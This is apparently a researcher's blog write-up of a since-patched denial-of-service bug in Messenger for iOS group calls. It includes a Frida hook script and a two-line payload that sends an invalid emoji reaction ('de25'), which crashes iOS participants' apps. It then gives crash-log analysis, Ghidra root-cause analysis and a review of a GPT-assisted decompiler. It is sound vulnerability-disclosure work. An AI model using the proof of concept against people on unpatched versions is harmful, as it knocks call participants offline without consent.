Post

Messenger Group Call DoS for iOS

Messenger is used by hundreds of millions of people globally, and as of December 2023, it has adopted end-to-end encryption (E2EE) by default for chats and calls. However, when a group chat is created, it initially does not use E2EE. Interestingly, non-E2EE groups have access to certain features that are unavailable in their E2EE counterparts. One such feature, highlighted in this write-up, is the ability to send emoji reactions within group calls.

This write-up aims to illustrate the process of discovering a denial-of-service (DoS) bug that affects Messenger for iOS. The bug was originally identified in version 472.0.0, while the analysis was conducted on version 477.0.0 using an archived copy of the Messenger .ipa file installed via TrollStore. This issue has since been patched and is not present in the latest version of Messenger for iOS. However, installing older versions of Messenger can allow you to reproduce the bug.

Group Call Emoji Reactions

The ability to send emoji reactions in group calls is demonstrated in the GIF below. As shown, users can add a reaction to the video stream, which is displayed to the recipient in the top right corner.

emoji example

A question we might ask ourselves is, “How are these emojis transferred to the recipient’s device?”. Through reverse engineering the Messenger APK with JADX and performing dynamic analysis with Frida (a detailed explanation of that process is beyond the scope of this write-up), it was discovered that two classes are responsible for sending emoji reactions:

    com.facebook.rsys.reactions.gen.SendEmojiInputModel
    com.facebook.rsys.reactions.gen.ReactionsApi$CProxy

More specifically, the ReactionApi$CProxy class contains the sendEmoji(SendEmojiInputModel emoji) method, which is used to send an instance of the SendEmojiInputModel class. Using Frida, we can intercept calls to this function and extract the value of the emoji. The script to accomplish this is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import frida
import sys

'''
 * Requires an Android device running frida-server - Create a non-encrypted group call.
 * React in the call with any emoji
 * Note: Replace 'emulator-5554' with device serial number if not using emulator
'''

FRIDA_SCRIPT = """
    var classFactory;
    const classLoaders = Java.enumerateClassLoadersSync();
    let SendEmojiInputModel = null;
    let CProxy = null;
    var CProxyInstance = null;

	// Search all class loaders for SendEmojiInputModel and
	// ReactionsApi$CProxy classes
    for (const classLoader in classLoaders) {
        try {
            classLoaders[classLoader].findClass("com.facebook.rsys.reactions.gen.SendEmojiInputModel");
            classLoaders[classLoader].findClass("com.facebook.rsys.reactions.gen.ReactionsApi$CProxy");

            classFactory = Java.ClassFactory.get(classLoaders[classLoader]);
            
            SendEmojiInputModel = classFactory.use("com.facebook.rsys.reactions.gen.SendEmojiInputModel");
            CProxy = classFactory.use("com.facebook.rsys.reactions.gen.ReactionsApi$CProxy");
            
            console.log('[+] Found SendEmojiInputModel Class - continue to send Emoji reaction.');
            break;
        } catch (e) {
            // console.log( e);
            continue;
        }
    }

    CProxy["sendEmoji"].implementation = function (emoji) {
		console.log('[+] Sending emoji reaction with value: ' + emoji.emojiId.value);
		this["sendEmoji"](emoji);
    };
"""

#replace 9B071FFAZ008YV with device id running frida
session = frida.get_device("emulator-5554").attach("Messenger")
script = session.create_script(FRIDA_SCRIPT)

def on_message(message, data):
    if('payload' in message):
        print(message['payload'])
    else:
        print(message)

script.on('message', on_message)
script.load()
sys.stdin.read()

When we execute this script, we discover that the data being sent to the recipient is a string containing a hexadecimal representation of the emoji.

1
2
3
(env) dev@Mac-mini emoji % python3 emoji_poc.py
[+] Found SendEmojiInputModel Class - continue to send Emoji reaction.
[+] Sending emoji reaction with value: '1f621'

unicode representation

Invalid Reactions - DoS Bug

Next, we should ask ourselves, “What happens when we send a string that does not represent an emoji?”. To explore this, we modify the Frida script to change the string to a value that does not correspond to any valid emoji—such as de25, or as shown in the video below, F_fe0fACE_WITH_COLON_THREE.

Note that the true explanation of what this string represents is slightly more nuanced. It is a value defined in Meta’s “EmoticonsList” and has been enumerated here. However, for simplicity, it can be thought of as a hexadecimal representation of a Unicode character.

Adding the following lines above the this["sendEmoji"](emoji) call in the previously shown script replaces the emoji with an invalid input:

1
2
var payload = 'de25';
emoji.emojiId.value = payload;

Using this new script to adjust the input, we send an emoji reaction in a group call and observe its effects on the iOS participant.

In the video, we see that the iOS participant’s Messenger app crashes. Using the console provided by Xcode, we observe the following log statement.

1
2
3
4
5
*** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSCFString appendString:]: nil argument'

*** First throw call stack:

(0x180d07d0c 0x1984f8ee4 0x180e026a8 0x180da4374 0x180c90eb8 0x11cfcd628 0x103cd8c34 0x11d03de54 0x11c191b08 0x11b91b428 0x11b935708 0x11b93e6a4 0x11b93e5e4 0x180cb2988 0x180ce61a8 0x11b93dd6c 0x11b91c4b0 0x11b920e18 0x11b920de8 0x1026f2910 0x1026f28c4 0x1823f5cc8 0x180cb382c 0x180c84a64 0x180c7fec4 0x180c93240 0x1a1763988 0x18349341c 0x18322cb88 0x102248590 0x1024743d0)

While this bug does not provide any remote memory corruption primitives that could enable RCE, it does cause a denial of service (DoS) for all iOS group call attendees. Note that while the sending Android device also crashes, this issue is limited to the sending device and does not affect any Android recipients. Next, let’s examine the stack trace and identify the root cause of the bug.

Root Cause Analysis

The stack trace included in the exception is our first point of investigation for root cause analysis. Initially, the stack trace does not include the module associated with the address. Using Frida, we can enumerate all modules loaded into the Messenger process and map these addresses ourselves. It’s important to perform this step before triggering the bug, as Address Space Layout Randomization (ASLR) shifts the base addresses.

  1. First, enumerate all the modules and save them to disk using the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# python3 ./enumerate.py > modules.json
import frida
import sys

FRIDA_SCRIPT = """
    send(Process.enumerateModules());
"""

session = frida.get_device("<iOS UUID>").attach("Messenger")
script = session.create_script(FRIDA_SCRIPT)

def on_message(message, data):
    if('payload' in message):
        print(message['payload'])
    else:
        print(message)

script.on('message', on_message)
script.load()
sys.stdin.read()
  1. Then, execute the following script, which includes our stack trace:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# python3 ./find.py
import json

trace = [0x181f5fd0c,0x199750ee4,0x18205a6a8,0x181ffc374,0x181ee8eb8,0x11a8c5628,0x10424cc34,0x11a935e54,0x119a89b08,0x119213428,0x11922d708,0x1192366a4,0x1192365e4,0x181f0a988,0x181f3e1a8,0x119235d6c,0x1192144b0,0x119218e18,0x119218de8,0x102c66910,0x102c668c4,0x18364dcc8,0x181f0b82c,0x181edca64,0x181ed7ec4,0x181eeb240,0x1a29bb988,0x1846eb41c,0x184484b88,0x10275c590,0x102ac03d0]

# Open and read the JSON file
with open('modules.json', 'r') as file:
    modules = json.load(file)

for i, address in enumerate(trace):
    for module in modules:
        module_base = int(module['base'], base=16)
        module_end = module_base + int(module['size'])
        if address >= module_base and address <= module_end:
            print('['+str(i)+'] address: ' + hex(address) + ' module: '+ module['name'] +' base: ' + module['base'])
  1. Finally, we have a stack trace that associates the addresses with the various frameworks and libraries from the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[0] address: 0x181f5fd0c module: CoreFoundation base: 0x181ecd000
[1] address: 0x199750ee4 module: libobjc.A.dylib base: 0x19973c000
[2] address: 0x18205a6a8 module: CoreFoundation base: 0x181ecd000
[3] address: 0x181ffc374 module: CoreFoundation base: 0x181ecd000
[4] address: 0x181ee8eb8 module: CoreFoundation base: 0x181ecd000

//Notable as the last call to a Messenger framework and associated with RTC functionality.
[5] address: 0x11a8c5628 module: RTCAndSpark base: 0x118f30000

[6] address: 0x10424cc34 module: LightSpeedCore base: 0x102b4c000
[7] address: 0x11a935e54 module: RTCAndSpark base: 0x118f30000
[8] address: 0x119a89b08 module: RTCAndSpark base: 0x118f30000
[9] address: 0x119213428 module: RTCAndSpark base: 0x118f30000
[10] address: 0x11922d708 module: RTCAndSpark base: 0x118f30000
[11] address: 0x1192366a4 module: RTCAndSpark base: 0x118f30000
[12] address: 0x1192365e4 module: RTCAndSpark base: 0x118f30000
[13] address: 0x181f0a988 module: CoreFoundation base: 0x181ecd000
[14] address: 0x181f3e1a8 module: CoreFoundation base: 0x181ecd000
[15] address: 0x119235d6c module: RTCAndSpark base: 0x118f30000
[16] address: 0x1192144b0 module: RTCAndSpark base: 0x118f30000
[17] address: 0x119218e18 module: RTCAndSpark base: 0x118f30000
[18] address: 0x119218de8 module: RTCAndSpark base: 0x118f30000
[19] address: 0x102c66910 module: LightSpeedCore base: 0x102b4c000
[20] address: 0x102c668c4 module: LightSpeedCore base: 0x102b4c000
[21] address: 0x18364dcc8 module: Foundation base: 0x1835e1000
[22] address: 0x181f0b82c module: CoreFoundation base: 0x181ecd000
[23] address: 0x181edca64 module: CoreFoundation base: 0x181ecd000
[24] address: 0x181ed7ec4 module: CoreFoundation base: 0x181ecd000
[25] address: 0x181eeb240 module: CoreFoundation base: 0x181ecd000
[26] address: 0x1a29bb988 module: GraphicsServices base: 0x1a29ba000
[27] address: 0x1846eb41c module: UIKitCore base: 0x184206000
[28] address: 0x184484b88 module: UIKitCore base: 0x184206000
[29] address: 0x10275c590 module: Messenger base: 0x102758000
[30] address: 0x102ac03d0 module: dyld base: 0x102aa8000

Let’s examine the last call to a Messenger framework, which is #5 in the stack trace. Using the base address and some arithmetic, we determine that we should investigate offset 0x1995628 within the RTCAndSpark binary. To obtain this binary, we follow the process documented here to extract the Messenger .ipa file and load it into Ghidra using batch mode.

Once Ghidra processes the nested files, we decompile and analyze the RTCAndSpark binary. Knowing that 0x1995628 was the next instruction to execute before the crash, we observe that the previous instruction made a call to appendString, identifying it as the location of the bug.

bug location

It appears the issue stems from a lack of validation to ensure that the input passed to appendString is not null. The input value is associated with a call to strtol, which converts the original emoji hex string into a long.

Upon reviewing the RTCAndSpark binary after the bug was reported and patched, we observe that the return value from strtol is now validated, and the appendString call is only executed if the value is non-zero. This update effectively resolves the DoS bug in Messenger for iOS by allowing invalid reactions to be silently handled.

patch location

Malimite - GPT Powered Analysis

At the 7th edition of Objective by the Sea, a conference dedicated to macOS and iOS security, Laurie Wired introduced a new iOS decompilation tool called Malimite (available here).

malimite

Among its many features, one that particularly stood out to me was its ability to interface with GPT to improve the legibility of Ghidra’s decompiled Objective-C code. Always looking for ways to incorporate AI into my workflow, I saw this iOS-specific bug as a perfect opportunity to put the tool through its paces.

I first loaded the vulnerable version of Messenger and was greeted by the info.plist file, which contained all the entitlements and various other properties.

plist

I could also then easily navigate to and review the info.plist associated with the RTCAndSpark framework, the framework containing the vulnerable function.

initial

Using the Classes menu, I selected an obfuscated function that I thought was sufficiently complex and written in Objective-C. With the Function Assist feature, I was able to send the Ghidra output to GPT-4 (using a built-in prompt defined in Malimite), which resulted in the following:

first analysis

The GPT-4 analysis worked quite well in making the code more legible, properly constructing allocations for both NSMutableDictionary and FileUploadAttachment. Unfortunately, the calls to _objc_msgSend(...) are wrapped in Messenger, which hindered the analysis.

wrapper

Fortunately, you can edit the function to collapse these wrappers before sending it off to GPT-4, which improved the analysis results. Although I couldn’t find the obfuscated vulnerable functions within RTCAndSpark directly within Malimite, I was able to replace the contents of a donor function with the Ghidra output and send that off to GPT-4 for analysis.

bug analysis

I was pleased with the GPT-4 output given the patched code. It clearly illustrated that there was a string being constructed from the emoji’s hex representation and that the call to appendString only occurred after the output of strtol had been validated.

All in all, I believe this tool represents an excellent starting point for something akin to JADX, as it’s purpose-built for analyzing .ipa files. The integration of GPT from the outset will set the tone for the project, and I look forward to seeing how it evolves within the community.

This post is licensed under CC BY 4.0 by the author.

Trending Tags